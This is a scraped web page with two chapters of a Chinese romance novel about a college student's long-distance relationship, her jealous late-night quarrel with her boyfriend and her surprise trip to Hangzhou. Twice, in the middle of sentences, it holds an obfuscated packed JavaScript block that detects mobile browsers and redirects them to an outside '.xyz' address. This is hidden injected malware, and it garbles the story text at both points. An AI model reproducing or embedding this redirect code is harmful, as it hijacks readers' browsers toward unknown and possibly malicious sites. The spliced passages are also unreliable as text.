严莉莉说我们太腻歪了,苏冉也说我们别秀恩爱了。只有潘露一直没说话。 那天罗斌也来了,和上次电话里判若两人,文质彬彬地跟我们打招呼,完全没提上次打电话的事。 吃饭时一直照顾苏冉,给她夹菜剥虾递纸巾,一副超爱她的模样。 看着他的样子,我都有点恍惚当初给我打电话的是不是另有其人。 后来严莉莉偷偷跟我说:“我看罗斌人不错啊,我看他很爱苏冉,整晚眼里只有她。” 我说看人不能看表面,我以前也是这么认为的。 再后来,严莉莉又说:“爱情就像拉屎,有时候努力了很久,却发现只是个屁!” 话很糙,但事实确实如此。 18. 我的爱情到底哪里出了问题 送严莉莉走的那天,沈晋川来找我了,看到他的瞬间,我突然想起严莉莉经历的一切,忍不住冲过去抱住他哭了起来。 沈晋川边吻我边安慰我,我问他我们能爱多久,他说一辈子,至死不渝。 我暗暗发誓一定要和沈晋川幸福下去,既然相爱,就要一直深爱,就像他说的那样一辈子至死不渝。 我把苏冉要结婚的消息告诉他,说苏冉对罗斌太痴情了,这样不好。 我总在想为什么痴情的总是女人,后来觉得严莉莉说得对,她说男人用下半身爱,女人用上半身爱,一个理性,一个感性。 男人用理性丈量爱情,女人用感性浇灌灵魂,一个在现实里权衡利弊,一个在情愫中笃信永恒。 严莉莉总有自己的见解,也许是经历多了。 我问沈晋川:“你是用上半身还是下半身爱我?” 他笑着说:“都有。上半身爱你,下半身爱你的身体,先爱上你,再迷上你的身体。” 异地恋确实辛苦,见不到面的日子里思念愈发浓烈,只能靠每天视频缓解。 每天挂电话前必须说“我爱你”,有时刚挂断又打回去就为补上这句。 潘露说我们爱得死去活来,腻歪得让人看不下去。 那段时间我总冷落她们,心思全在沈晋川身上,电话里翻来覆去就是那些情话,有那么一瞬间,我突然有点体会到苏冉对罗斌的那种爱了。 我也不知道为什么,那段时间特别粘沈晋川,巴不得时时刻刻跟他通电话。 严莉莉也常抱怨联系不上我,骂我重色轻友,只有苏冉理解我,毕竟她比我还粘人,恨不得时刻挂在罗斌身上。 苏冉定下婚期通知我们时,正好快放寒假了,沈晋川来看我时说,能和爱的人结婚一定很幸福,他说他很期待我们结婚的那天,我说谁说要嫁给你了,他紧抱着我,边吻我边说,我这辈子只能嫁给他跑不掉了。 放假后,我并没有像往常一样留在市里和沈晋川腻歪,而是和潘露立刻回了家。 严莉莉也提前从广州回来了,还带了个叫彭子然的男生。 高高瘦瘦,白白净净的,给我们每个人都带了礼物,虽然话不多,但能感觉出是个温柔体贴的人。 那天严莉莉穿的很素净,妆容也比以前淡了,但还是显得过于成熟。 苏冉说他们郎才女貌,问彭子然怎么被严莉莉“骗”到手的。 “你个小孩什么骗不骗的。”严莉莉从包里拿出烟来,刚要点燃,就被彭子然温柔地劝阻了,“少抽点,不是说要戒了么。” 严莉莉挑眉,夺回烟说:“谁说的?我就喜欢抽!”还硬塞给彭子然一根,“你也来一根,一个男人怎么能不抽烟。” 彭子然没拒绝,拿过烟点燃吸了一口,但他貌似不会抽,被呛得直咳嗽,却还是说:“戒烟是难,慢慢来。” 严莉莉嘴上说“戒个屁”,眼里却带着笑意,我看得出来,她对这个叫彭子然的男生似乎不太一样。 她伸手从彭子然手里拿过烟,吸了一口:“这么久抽烟都学不会。” 彭子然没说话,只是笑着看着她,眼里像有星星,亮晶晶的,只映着她一个人,满得快要溢出来。 苏冉眼神在他们身上来回转,问他们什么时候结婚。严莉莉吐着烟圈说:“准备好红包就行,结婚肯定通知你们。” 彭子然听她这么说,笑的更灿烂了,严莉莉见他笑,也跟着笑了。 后来严莉莉说:“爱情这东西真他妈扯淡,明明受伤后决定不再相信了,却还是会再次陷进去。” 严莉莉轻描淡写地讲了她和彭子然的故事,她比彭子然大两岁,他们是在会所认识的。 在那之前,严莉莉有过很多男人,但都是逢场作戏,没人真心对她。毕竟是‘夜晚的蝴蝶’,哪会有人真的跟你谈感情。 遇见彭子然是个雨夜,他跟着朋友去严莉莉所在的会所,那是他第一次来这种地方,坐立不安地被灌了很多酒。 他们花钱叫了很多陪酒的,严莉莉就是其中一个,严莉莉见彭子然酒量不行,玩游戏还总输,就帮他挡了几杯,结果最后他还是醉得不省人事了,他朋友都走了,也没人管他。 严莉莉想送彭子然去宾馆,彭子然却抱着她不放,还吐了她一身。 第二天彭子然醒来,看到躺在旁边的严莉莉吓坏了,以为酒后乱性,一个劲道歉。 严莉莉觉得他傻得可爱,就说:“不用道歉,赔我五千块衣服钱就行。” 没想到彭子然真的给了她五千,后来他就经常来找她,两人就在一起了。 听完我们才知道,彭子然和我们一样还是大学生,才大二。 我打趣说:“严莉莉,你这是拐带大学生啊!” 苏冉说:“这叫柳暗花明又一村,离开林熙那个渣男,老天就给你安排个好的。” 潘露只说严莉莉可真有手段。 我说人和人的缘分有时就在一瞬间,爱情来了挡都挡不住。 苏冉悄悄问严莉莉:“我感觉他挺爱你的,你爱他吗?” 严莉莉没有回答她,吐着烟圈说道:“他爸妈做生意的,家里很有钱,常年不回家,就给他钱,他钱多的花不完。”她又吸了口烟,“谁知道他爱我什么,但我知道我爱他什么。” 我知道,严莉莉现在爱的只不过是他的钱。 你看,人都是现实的。钱确实是个好东西。 苏冉婚礼前夜,我们四个说要好好庆祝她的最后一个单身夜。 那晚我们喝得酩酊大醉,又哭又笑,疯疯癫癫地祝福苏冉新婚快乐,约定以后每年都要聚几次,把时间留给彼此。 苏冉满脸藏不住的幸福,说她终于能嫁给心爱的人了。我们举杯祝她永远幸福。 严莉莉突然调侃潘露:“你就没个喜欢的人吗?她们俩有对象,我好歹有个伴,你这么多年就没动过心?” 我双手托腮插话:“追她的人可多了,就是她没一个看得上的。” 苏冉扑过去搂住潘露的脖子:“我们家潘露这么漂亮,追她的人不得从这里排到法国?那肯定是挑花了眼了。” 严莉莉突然坏笑着凑近:“可惜我不是男人,不然就把你们都娶了。” 我和苏冉笑着说才不嫁给她呢,只有潘露闷闷不乐。 我转头发现她正盯着我,目光专注得让人发毛。 “怎么了?”我摸了摸脸,以为沾了东西。 潘露仰头喝干杯中酒,喉咙滚动了一下,突然说:“我有喜欢的人了。” “什么?!”我们三个同时弹起来,严莉莉的烟都掉了。 苏冉一把抓住潘露的手腕:“谁啊?哪里的?是不是同学?什么时候的事?怎么不告诉我们?”她机关枪似的发问,酒都醒了大半。 我兴奋地拍桌子:“那男生要知道你喜欢他,那还得开心死!” 在我眼中,潘露从小到大都是受欢迎的,只有她不喜欢别人,没有人会不喜欢她。 苏冉往潘露口袋探去,去拿她的手机:“有照片吗?帅不帅?给我看看!” 潘露看着空酒杯,沉默了很久才轻声说:“但是他有对象了。” 我们面面相觑,房间里突然安静下来。 我小心翼翼地问:“你是没表白被人抢先了吗?” 严莉莉冷哼一声,重新点了支烟:“看上了不早点下手。”她又吸了一口,“这下好了吧?”说罢又突然凑近潘露,“要真喜欢不行就去抢过来。” 我也帮腔:“就是,说不定他也喜欢你,只是不敢跟你表白,结果被别人抢先了,反正没结婚都有机会。” 我当时并不知道她喜欢的人是谁,但想让她把人抢过来的想法,却是真的。 人真奇怪,平时听见看见这种事,第一反应就是安慰别人“会遇到更好的”“没事的”“人家都有对象了,别掺和了”。 可这事搁在自己好朋友身上就不一样了,就觉得我朋友特别优秀,他凭什么看不上啊? 潘露突然盯着我问:“如果是你男朋友,我能抢过来吗?” 我一下愣住了,脑海中闪过沈晋川的脸,胸口突然揪紧,完全没想到她会这么举例,如果我的爱人和我闺蜜在一起了,那我估计杀人的心都有。 但我知道我的闺蜜不会和我的爱人在一起的,我相信我的爱人,更相信我的闺蜜。至少那时候这个念头是没有动摇过的。 潘露看我发愣,突然笑了:“你看,肯定不行吧,所以人家有对象,怎么能这么做呢。”她眼神黯淡下来,“怎么就不是我先喜欢上他的呢……” 我觉得她话里有话,追问她到底喜欢的是谁啊,潘露笑着岔开话题,举杯说要一醉方休。 苏冉和严莉莉也开始说起了别的事,很快我们就把这事抛在脑后了。 那晚我们喝到凌晨,结束时,苏冉说她的单身夜就这样过去了,从今往后迎接她的都是幸福。那时候的我们都是这样认为的。 二十一岁那年,苏冉嫁了。 穿着洁白的婚纱,挽着罗彬的手臂步入了婚姻殿堂。 婚礼很简单,除了双方至亲,就只有我们这几个挚友,虽然人不多,但气氛格外温馨。 那天的罗彬格外殷勤,忙前忙后地招呼宾客,交换戒指时,他眼眶泛红,声音哽咽:“林苏冉,我爱你,我罗斌这辈子都会对你好的!”说完便深情地吻住了苏冉,我们几个都忍不住抹眼泪。 我相信那一刻的罗彬是真心爱着苏冉的,就像苏冉说的,这段婚姻来之不易。 她父母最初要十万彩礼,最后降到六万六,对单亲家庭的罗彬来说是个不小的数目,但他东拼西凑,硬是凑齐了这笔钱娶她,所以苏冉觉得这就是爱。 只是后来为什么变了呢?谁也说不清。 那晚我们闹到凌晨一点才散场,我红着眼睛给沈晋川打电话,他因为外婆生病和母亲回了四川。 我絮絮叨叨地说着婚礼的细节,说现场多么感人,说他没来太可惜了,说着说着,又开始想象我们未来的婚礼会是什么样子。 整个寒假直到开学,我和沈晋川都是靠视频通话缓解思念的。他原本计划过完年就回来,谁知外婆突然离世,等处理完家事回来时已经开学了。 久别重逢的期待落了空,沈晋川在视频里说等放假一定来看我,说想我想得紧,就想抱着我好好睡一觉。 可就在开学第二周他准备动身来武汉时,潘露出事了,她练舞时摔伤了腿,严重到连路都走不了。 她打电话告诉我,说那些男生借着照顾她的的名义献殷勤,有人甚至不由分说就把她抱去教室,吓得她连宿舍门都不敢出了,她说如果能有个熟悉的男生朋友照顾她一段时间就好了。 “这不是耍流氓吗?”我听着她抽噎的声音,气得直跺脚,立刻给沈晋川打电话,让他帮忙照顾潘露。 说来奇怪,我对潘露总有种莫名的牵挂,就像亲姐姐对妹妹那种刻在骨子里的担忧,而且我也很放心她,那种信任和担忧一样是刻在骨子里的。 沈晋川在电话那头委屈巴巴地问:“你就不想我吗?为什么要我去照顾她?” 我解释道:“你们在一个学校,她举目无亲的,万一真有男生图谋不轨怎么办?” 他酸溜溜地说我对三个闺蜜比对他还上心。 我只好撒娇哄他:“我最爱你啦!她们是姐妹,你是爱人,都重要。”最后在我软磨硬泡下,他才勉强答应。 其实我本想去杭州看沈晋川和潘露的,但临时买票太仓促时间不太够,只好等下次假期提前准备,异地这么久,我一次都没去过杭州,每次提起沈晋川总说坐车太辛苦,舍不得我奔波。 可我终究低估了思念的煎熬,一个暑假没见,开学后只能靠视频的日子实在太难熬了。 每次在校园里看到成双入对的情侣,听到别人分分合合的消息,思念就像野草般疯长。 有天半夜三点,我从噩梦中惊醒,梦见沈晋川要和我分手,醒来后莫名其妙就开始哭,给他连发几条消息都没回,心里顿时又烦又乱,直接忘了现在是凌晨三点。 人在情绪低落时往往不管不顾,我才不管现在是凌晨几点,只知道他承诺过秒回却食言了。 我开始给沈晋川打电话,听到他声音的那一刻,眼泪就止不住地流:“沈晋川……” 电话那头传来沈晋川迷迷糊糊的声音,听到我抽泣,立即清醒了几分:“怎么了宝宝?出什么事了?” “我爱你,我爱你,沈晋川我爱你。”我哽咽着重复。 他明显更着急了:“到底怎么了?宝宝别哭啊。” “没事。”我擦了擦眼泪,把脸埋进被子里,“就是想告诉你,我爱你。” “吓死我了。”他松了口气,“我还以为出什么事了呢,没事就好,快睡吧宝宝,现在才三点多。”他说完就把电话挂了。 听着电话里的忙音,我整个人都僵住了,他就这么挂了?连句“我也爱你”都没有? 我的委屈瞬间爆发,眼泪流得更凶了,他为什么不哄我?为什么不陪着我?三点怎么了?难道不该先安抚我的情绪吗? 我咬着唇又拨了过去:“喂,我想你了,沈晋川。”其实我就是希望他能温柔地问问我怎么了,耐心地哄哄我。 “我也想你。”他的声音带着困意,“快睡吧老婆,天还没亮呢,我明早还有课。”说完对着话筒“啵”地亲了一下,说了句“爱你”又挂了。 我盯着黑掉的手机屏幕,怒火蹭地窜了上来,第三次拨通电话时,我整个人缩在被窝里,压低声音吼道:“我话还没说完你挂什么?我说我想你了你就这态度?觉有那么重要吗?我都说我睡不着了,你还睡!” 你看,我生怕吵醒室友所以躲在被子里,却要半夜三更折腾沈晋川,一遍遍地给他打电话,让他来哄我,就因为我做了个无聊的破梦,就不让他睡,非得先把我哄好才行。 人怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464343|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么莫名其妙呢?就像是知道自己有这个权利,知道他爱我,就可以随便折腾。 沈晋川被我的莫名其妙搞地终于不耐烦了,他“啧”了一声:“你干嘛啊?大半夜的,你不睡别人还要睡呢!” 这句话彻底点燃了我的怒火:“少睡会能死吗?天天睡睡睡,睡你个王八蛋!不是说想我想得睡不着吗?不是说很腻歪和我打电话吗?现在嫌我烦了?三年多感情,现在在你眼里就是个屁是不是?你说过的话就跟放屁一样是不是?”我骂完就挂断了电话,没在给他解释的机会,狠狠地按下了关机键。 什么永不厌倦,永远有耐心,什么二十四小时为你开机,什么时候打电话都行,都是狗屁!都是骗人的! 挂断电话后我躲在被子里偷偷哭,觉得自己委屈的要命。 明明昨天视频时他还腻着要我亲亲,现在却这样冷漠。 爱情真是种病,我们总是高估自己在对方心里的位置。 人有时候就是这么不讲理,我睡不着,你也别想睡,否则就是不爱我。 我关机了半天,下午开机后,铺天盖地的短信,基本都是沈晋川发来的。 潘露也发来过四五条问我为什么关机,是不是和沈晋川吵架了。 严莉莉许是给我打电话了没打通,也发消息调侃:“电话怎么关机了?玩失踪啊?” 我给严莉莉回电话,把和沈晋川吵架的事跟她说了,她听完笑着说:“你们就是太久没见面憋的,等见了面降降火就好了。” 我脸颊发烫骂她不要脸,她理直气壮:“实话实说嘛,你赶紧给沈晋川回个消息吧,他肯定急疯了。” “不回。”我嘴硬道,自己也觉得矫情得要命。 严莉莉突然严肃起来:“知足吧你,异地恋最怕冷战,要是有人趁虚而入,到时候你哭都来不及。” “他敢!”我立刻反驳。 “他也许不敢,要是一直冷战,保不齐别人下手。”听着严莉莉的话,虽然知道她在吓唬我,但我心里还是涌起了一阵慌乱。 挂断后我立刻给沈晋川打去电话,连打两个都没人接,打给潘露,同样无人应答。 这时我才注意到骆海馨半小时前发来过一条微信又撤回了。 她也考去了浙江,和沈晋川潘露同校。 我心头一紧,第一反应就是,是不是沈晋川出事了,因为我和骆海馨交集不深,实在想不通如果不是因为沈晋川,她怎么会给我发信息。 我赶紧给她发了语音电话过去,电话很快被接通。 “喂,方梨。” 电话那头很吵,像在餐厅聚会。 我愣了一秒,问:“打扰你了吗?” “没有,同学聚会呢。”骆海馨说。 “你刚才给我发消息是有什么事吗?”我直奔主题,“我看又撤回了。” “那个啊……我……”她欲言又止,我更着急了:“是不是沈晋川怎么了?” “没有。”她结结巴巴地说,“我、我发错了。” 我有点怀疑,她坚持说发错了,我也说不出来哪里不对,和她闲聊了两句后,我说:“那就不打扰你聚会了,下次见面请你吃饭。” 说完我就便准备挂电话,却听见骆海馨叫我:“方梨!” “嗯?” “潘露……是你很好的朋友吧。”她突然来了一句。 “对啊,怎么了……” 我话未说完,突然听见骆海馨那边有人喊:“沈晋川该你了!”接着是女生起哄的笑声。 我呼吸一滞,沈晋川不接电话和骆海馨突如起来的信息让我浮想联翩。 我强迫自己冷静,问骆海馨同学聚会沈晋川是不是也在?她说在,我问他们人多吗?能不能拍个视频给我看看?她支支吾吾地推脱,说只是同学聚会。 我的手机突然响了,是潘露发来的消息,我立刻跟骆海馨说“那你玩,有空再聊”然后迅速挂断电话给潘露发去了视频通话。 视频接通后,画面是反转过来的,映入眼帘的就是沈晋川和一个女生。 他们应该是玩游戏输了,旁边的人起哄着让他们喝交杯酒,两人笑的都很灿烂。 潘露慌忙把镜头转回来,连声解释:“别生气别生气,他们只是在玩游戏……” 我直接挂断视频,立刻给沈晋川打电话,依然无人接听。我又打给潘露,让她告诉沈晋川接电话。 电话刚接通,我就像点燃的炮仗一样炸开了:“沈晋川你要不要脸?!电话不接,交杯酒都喝上了?你好牛啊!勾搭得很开心是吧?!” 我完全失控了,理智早就抛到九霄云外。 “不是说过不准跟女生单独吃饭,不准跟女生开玩笑,不准跟女生出去玩吗?你现在倒好,交杯酒直接喝上了?怎么着?下一步进洞房了?”我声音都在发抖,“你敢不敢在恶心一点?” 沈晋川试图解释:“就是个游戏,在说我也没……” “游戏也不行!”我尖声打断,“这么饥渴难耐?火气大的忍不住了是不是?那你继续勾搭啊!我说昨晚怎么那么不耐烦,嫌我打电话影响你哄别人了是吧?你还是人吗?!腻了就说,谁稀罕!” 我一股脑说了很多难听的话,愤怒完全占据了大脑。 沈晋川也被激怒了:“你这是干嘛?就是普通同学聚会,又不是只有我一个男生!你现在怎么变得这么不可理喻?不是你让我照顾潘露的吗?她非要组织聚会拉我来,我拒绝了你又要生气!再说你不是知道也同意的吗?现在又在这里发什么疯?” 我已经被刚才看到画面冲昏了头,脑子和嘴完全不在一个频道上,无法冷静更无法思考。 “我就这样!受不了就分手!省的你烦心!”这句话脱口而出的瞬间,我们两个都愣住了,那时我们第一次说分手。 电话那头陷入长久的沉默,我只能听见自己急促的呼吸声,最后我哭着挂断了电话。 沈晋川立刻回拨过来,我没敢接。我怕,我怕我们都失控,说出更加无法挽回的话,只能选择逃避。 手机不停地响,沈晋川连续打了十几个电话。最后发来短信:“对不起老婆我错了,我没跟她喝交杯酒,我自己喝的,不信你问潘露,当时她也在,聚会就是她组织的。” 我还是没回复。 虽然知道我们最终会和好如初,可眼泪还是止不住地往下掉。 人就是这样,不管自己有没有错,只要自己委屈,就一定是对方的错。 骆海馨又发来信息:“对不起方梨,我以为你和沈晋川分手了,真的对不起。” 这没头没脑的话让我心里一沉,追问她听谁说的,她只说是误会,一个劲地跟我道歉。 我觉得有点莫名其妙,心里越来越不安,看着沈晋川不断打来的电话,我咬了咬牙,当即买了连夜去杭州的车票。 我要亲眼去看看,我的爱情到底出了什么问题,更要弄清楚,是谁在散布我们分手的谣言。 19. 我应该知道的,他爱我 火车上,沈晋川的电话一个接一个打来,我攥着手机,既想接起来告诉他我正在去杭州的火车上,又倔强地不想让他知道。 脑子里全是骆海馨那句“我以为你们分手了”,越想越乱,各种可怕的猜测在脑海中盘旋。 潘露也发来了几条询问的信息,八成是沈晋川找她当说客,我回复说没事,然后把骆海馨的话转述给她,问她是不是沈晋川在学校有什么情况。 我看着对话框上方“正在输入……”的提示闪烁了很久,最后只等到一句:“你别瞎想了,人家估计是误会了吧。” 这含糊的回答让我更加不安:“你是不是有事瞒着我?如果真有什么事,你一定要告诉我。” 我甚至开始怀疑沈晋川是不是喜欢上别人了,不然骆海馨怎么会突然说我们分手了呢?潘露又怎会这样支支吾吾。 说来可笑,面对一句没头没尾的话,我第一反应不是直接去问沈晋川,而是让别人帮忙分析,自己则在脑子里上演各种狗血剧情。 嘴上说着相信沈晋川,心里也确实相信他,可那些不受控制的想象却又让我不得不怀疑。 “如果沈晋川真有什么事,你千万不能瞒着我。”我对潘露说,“你是我最好的朋友,连你都瞒着我的话,我会很伤心的。” 我不相信沈晋川,凭着猜疑问和他一个学校的潘露。 我信潘露,那时候对她的信任连我自己都说不清楚。 她和沈晋川同校,知道的肯定很清楚,但潘露只说应该是我想多了,她安慰我说沈晋川虽然在学校很受欢迎,但大家都知道他有女朋友。 这话让我稍微安心了些,可脑子里还是一团乱麻。 我又打给严莉莉想让她帮我分析分析。 “喂,莉莉,我……”电话一接通我就急着倾诉,却听到一个男声,“莉莉在洗澡。” “啊…哦…好,你们先忙。”我匆忙挂断。那个声音我很熟悉,应该是彭子然。 我望着窗外飞驰而过的景色,满脑子都是沈晋川。 对面坐着一对年轻情侣,女孩靠在男孩肩上睡着了,男孩轻轻抚摸她的脸颊,又低头亲了亲两人十指相扣的手。 看着这一幕,我心里突然揪了一下。 我在做什么呢?所有的问题,不都是从一个荒唐的梦开始的吗?为什么一出事,我第一个怀疑的就是我的爱人呢?他对我的爱是怎样的,我难道不知道吗? 可一想到视频里他跟别的女生笑得那么开心的样子,我胸口还是堵得慌。 而且骆海馨为什么会误会我和沈晋川分手,这个问题我怎么都想不明白,我想,也许等我到了杭州,答案自然会出现。 手机响了,是严莉莉发来的视频邀请,我挂断后,给她回拨了电话过去。 她接起电话,一开口就调侃我:“喂,小屁孩,干嘛不接视频?难不成在偷偷干坏事,不想让我看?” 我下意识看了看旁边,把手机换到靠窗的右耳上:“你以为我是你啊!” 严莉莉笑的更大声了:“你还真别说,我刚还真是在干坏事,可惜了,本来想发视频给你看看的,你还不接。” 我脸都红了,压低声音:“你臊不臊啊,你好歹也是女生怎么能面不改色地说出这种话来。” “实话实话嘛。”严莉莉哈哈大笑了两声,“好了不逗你了,打电话什么事?跟沈晋川和好了?” 算和好吗?他倒是一直给我发信息打电话,我没接电话,只是给他简单的回了信息。 我叹了口气:“我在去杭州的火车上。” 接着我把骆海馨以为我和沈晋川分手的事告诉了严莉莉,问她骆海馨为什么会这么想,是不是沈晋川在杭州做了什么。 恋爱中的人真的很奇怪,有点风吹草动就胡思乱想,然后拉着别人让她听着你的只言片语去帮你分析问题。 严莉莉听完说:“应该不会吧,潘露和沈晋川一个学校,她都说没事了,那肯定没事。” 可我还是纠结骆海馨的那句话。 严莉莉劝我别想了,可能真的只是个误会。至于骆海馨为什么会误会,我俩都猜不出原因。 严莉莉又说:“说不定是沈晋川太帅太优秀,有人喜欢他乱传闲话的。”她说,“你不是去找他吗?正好,到了之后和他牵手在他学校走一圈,让大家知道你是他女朋友。” 我说我还没告诉沈晋川我要去找他呢,我不打算说,我打算直接去他学校,看看他到底有没有对不起我。 挂断电话后,看着黑漆漆的窗外,我难受的动了动身子。 硬座坐久了真难受,才走一半我就受不了了,想到沈晋川每次来看我倒要坐这么久,他怎么受得了?想到这儿,我突然有点心疼他。 车厢的灯晃得人眼睛发酸,我靠着椅背,看着外面黑乎乎的一片,不知不觉睡着了。 醒来时,广播说杭州到了,我站起来伸了个懒腰,拿起座位上的背包跟着人群下了车。 到了火车站的公交站,我查着路线,准备从包里拿钱包坐车时,才发现钱包不见了。 钱包丢在哪儿了?我不知道,可能是在火车上睡着的时候被偷了。 仔细想想,睡觉前包明明放在桌上,醒来时却到了座位上,我翻遍包包,还好买票时把身份证拿出来放在了包的夹层里,没和钱包放一起,不然身份证也丢了。 公交车开走了,我没钱,去不了沈晋川的学校,只能让他来接我了,我摸出手机,却发现手机没电关机了。 那一瞬间,鼻子一酸,差点哭出来。 天灰蒙蒙的,像是要下雨了,我站在公交站台,看着一辆辆车开走,新的车又来,心里又委屈又无助。 还好,我记得沈晋川的电话,我向旁边等车的人借了手机,拨通他的号码。 陌生号码,他会接吗? “喂,哪位?”电话很快被接通,沈晋川的声音传来,不知道他在哪,他那头有点吵。 “是我。”我握着手机,声音不自觉的提高了几分,“沈晋川,是我。” “方梨?”他愣了一下,“你怎么用的是浙江的号码给我打电话?” “你能不能来火车站接我?”我声音发紧,“我手机没电了,钱包也丢了……这是借别人手机。” “你在火车站?你来杭州了?” “嗯……”我吸了吸鼻子。 “你现在在哪儿?” “在火车站的公交车站这里……” “宝宝你别怕,待在原地别动,我马上过去,很快的。” 我“嗯”了一声,挂掉电话,把手机还给路人,道了谢。 我想沈晋川就算打车过来,至少也得半小时吧?可没想到,挂断电话还不到十分钟,我就看见他气喘吁吁地跑了过来。 他一眼看到我,直接冲了过来,一把将我搂进怀里,抱得很紧。 “怎么一声不响就跑来了?也不告诉我?”他松开我,捧着我的脸亲我,“你要是再晚点给我打电话,我就坐上去找你的火车了。” 沈晋川说,我不理他,手机关机,他急得直接买了票准备去武汉找我,到火车站准备检票,我的电话就来了。 他紧紧抱着我,低声说对不起,说不该在电话里和我吵架,我听着他的话,鼻子一酸,脸埋进他胸口,眼泪蹭在了他衣服上。 明明在来的路上心里还有气的,想着见面如何和他对峙,如何质问他,等见到他时,理智好像突然就回来了,也能正常思考了。 我们坐公交车回他学校附近,他知道我钱包丢了,捧着我的手亲了亲,心疼地说:“没关系,人没事就好,钱我有。以后我去你找你,来回路上太远,坐车太累了。” 他又说杭州有很多好玩的地方,这两天正好可以带我去。 我们在他学校附近找了家宾馆,沈晋川一进门就抱住我,轻声问:“累坏了吧?” 我点点头,靠在他身上说:“坐车真的太辛苦了。” 说完,我突然想起骆海馨的话,眼眶一下子红了,把骆海馨说的话告诉他后,抬头问他:“为什么别人会以为我们分手了?” 沈晋川看我哭了,慌了神,低头吻掉我的眼泪,一时间也懵了,完全不知道骆海馨为什么会这么想。 “我朋友圈,扣扣空间全是你的照片,谁不知道你是我女朋友?”沈晋川说。 “可你都好久没发过我们的合照了,一整个寒假没见面,开学没多久就吵架……”我又想起他和女生喝交杯酒的事,更加委屈道,“你还和别的女生笑得很开心……” 他赶紧哄我,解释说那天晚上我手机关机,他打了一整晚都没打通,第二天潘露组织聚会,来找他,他让潘露帮忙联系我。 潘露说她联系上我了,还劝沈晋川说先等我消消气,让沈晋川跟他们一起去聚会,潘露说沈晋川答应我照顾她了,就必须跟她去,如果他不去,我知道了会更生气。 沈晋川知道我向来对潘露她们三个的事情看的比较重,想着同学聚会,正好别的同学也叫他,他就去了。 那时候我依旧没觉得潘露有什么不对,更别说怀疑她了。 “而且她说,她一个人去,那些男生总缠着她……”沈晋川叹了口气,“我就去了,结果玩游戏输了要喝酒,但我根本没喝交杯酒,我自己喝了两杯,潘露可以作证的。” 他一边亲我一边低声哄:“以后再也不吵架了,好不好?”他的声音很轻,带着懊悔,“那天晚上我太困了,不是故意凶你的……异地恋本来就难,我们都没安全感,我应该更爱你才对,不该让你伤心的。” 我听着他的话,心里更委屈了,抱着他哭起来,把做的梦也告诉了他:“我们好久没见了,你嘴上说想我,可我打电话你又嫌烦,还和别的女生笑,还凶我……我就觉得你不爱我了。” 事实到底是怎样的呢?好像是我因为一个梦,一句没头没尾的话就胡思乱想,也许是我太敏感了,可他道歉的那一刻,我难过了,我就觉得全是他的错。 沈晋川抱着我,一遍遍哄:“我没有不爱你,里里外外,从心到身,都只爱你一个,永远都是。”他蹭着我的发顶,声音闷闷的,“以后绝对不会这样了,不管多晚,你打电话我都接,哄你睡着了我再睡,再也不先挂电话了,也不在和别的女生出去吃饭了,再也不会了。” 我轻轻“嗯”了一声,在他怀里蹭了蹭。 我知道,经过这次,以后无论多晚再给他打电话,他都会耐心哄我,他说出那些话时,我就懂了,他其实一直爱着我,只是我胡思乱想罢了。 而我也不会再在某个凌晨三点惊醒,因为一个荒唐的梦就缠着他不放,非要他醒来陪我了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464344|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在酒店腻歪了好一会儿后,我给潘露打了电话,告诉她我来杭州了,约她一起吃饭。 潘露听到后很惊喜,让我们在校门口等她,说她马上出来。 我们三个找了家火锅店,潘露笑着戳我:“怎么突然就跑来了?连我都瞒着!昨天打电话都不告诉我。” 我调皮地吐了吐舌头:“想给你个惊喜嘛。” 她撇撇嘴:“给我惊喜?我才不信呢!” 吃完饭准备回去时,潘露突然拉住我:“我们去看电影吧!都好久没见了。” 我和沈晋川对视一眼,我俩都不想去,我们太久没见了,只想快点回宾馆去。 见我们拒绝,潘露又撒娇道:“那今晚和我住好不好?我有好多话想和你说。”她转向沈晋川,“把方梨借我一晚吧,明天还给你,好不好?” 沈晋川没答应,只是看着我。我晃着潘露的手哄她:“等放假我天天陪你好不好?” 好不容易见面,我觉得时间都不够用,一点也不想浪费时间。 潘露哼了一声:“重色轻友!” 我冲她做了个鬼脸,和沈晋川送她到校门口后,我们就回酒店了。 一进房间,沈晋川就从背后抱住我:“我还以为你会答应她呢。” 我转身轻拍他的后背:“怎么会,我们这么久没见,我怎么可能舍得和你分开?” 异地恋的思念太深,现在我只想和沈晋川腻在一起,至于潘露,以后有的是时间陪她。 那一夜我们几乎没怎么睡,缠绵到记不清次数,仿佛永远都不会累。 原本和潘露约好的第二天一起吃早饭也没能起来,等我俩睡醒起来后已经是下午了。 在校门口见到潘露时,她假装生气地戳我:“真是重色轻友到家了!我打了多少电话给你俩,都晾着我不接!” 我笑着解释:“静音了没听到,坐车太累睡过头啦。” 我们还遇见了沈晋川的同学,沈晋川热情地搂着我介绍:“这就是我女朋友。” 他的同学惊讶的反应:“她是你女朋友啊?” 我当时沉浸在重逢的喜悦和他们的赞美中,压根没在意沈晋川同学脸上的惊讶。 就好像他们认识沈晋川的“女朋友”,和沈晋川介绍的不是同一个人。 在杭州三天,除了缠绵,沈晋川还带我去了西湖,我们还逛了他的校园,去了美食街,拍了很多照片,他说要隔几天就在朋友圈里发一张。 “我们的合照太少了,”他说,“等放假了我们去拍写真吧。” 确实,每次见面我们都像饿久了似的,大部分时间都不出门,自然没什么照片。虽然说少,上百张其实还是有的。 